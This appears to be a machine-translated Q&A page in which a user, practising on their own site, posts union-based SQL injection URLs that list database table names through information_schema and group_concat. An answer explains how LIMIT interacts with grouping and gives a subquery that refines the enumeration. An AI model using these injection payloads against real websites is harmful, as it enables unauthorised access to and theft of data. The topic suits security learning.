2016-08-15 18 views
0

因此,我有一个Web服务器,我在自己的网站上练习SQLi以获得个人知识,我似乎无法弄清楚这一部分。SQL无法限制与group_concat一起工作

到目前为止,我发现了表名通过转到下面的网址

http://www.WEBSITE.com/about.php?id=-5+union+select+1,group_concat(table_name),3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=database()--

除此之外,从我的理解,group_concat()只拿出最多1024个字符。

所以我看了网上,并试图把LIMIT,我没有工作。如果没有限制,我可以看到20桌的名和表21的一半的名字所以我把

http://www.WEBSITE.com/about.php?id=-5+union+select+1,group_concat(table_name),3,4,5,6,7+FROM+information_schema.tables+WHERE+table_schema=database()+LIMIT+21,1--

再没有表加载。有任何想法吗?

+0

你想做什么?限制'group_concat'的_length_?如果是这样,你不能使用LIMIT来限制它的长度,这是一个结果集限制,但是你可以截断'group_concat'结果或者查看设置[group_concat_max_len](http://dev.mysql.com/doc/refman /5.7/en/group-by-functions.html#function_group-concat) –

回答

0

LIMIT应用分组,以分组结果。也就是说,在包含GROUP BY子句并因此导致多个组的查询中,LIMIT 5会将结果集限制为这些组中的前5个 - 它不会以任何方式影响/限制构成每个组的记录数。

没有什么是你加载的原因是因为LIMIT 21,1意味着你只需要一个记录从21的偏移量开始,并且自从(分组后)可能没有那么多组,你会得到一个空的结果集。

你可以使用子查询,而不是获取表名,限值,并然后组:

SELECT GROUP_CONCAT(TABLE_NAME) FROM (
    SELECT TABLE_NAME 
    FROM INFORMATION_SCHEMA.TABLES 
    WHERE TABLE_SCHEMA = DATABASE() 
    LIMIT 1, 21 
) t 

然而,由于UNION是为你工作,似乎你能够浏览多个结果 - 在这种情况下,为什么集团呢?

+0

好吧,我显然没有结束这样做的权利,因为查询并没有结束工作,当我将你给我的东西换成我原来的东西时'-5'后面有' – Dgameman1

+0

@ ILovephp123:您之前添加了其他(虚拟)列来对齐'UNION'。 – eggyal

相关问题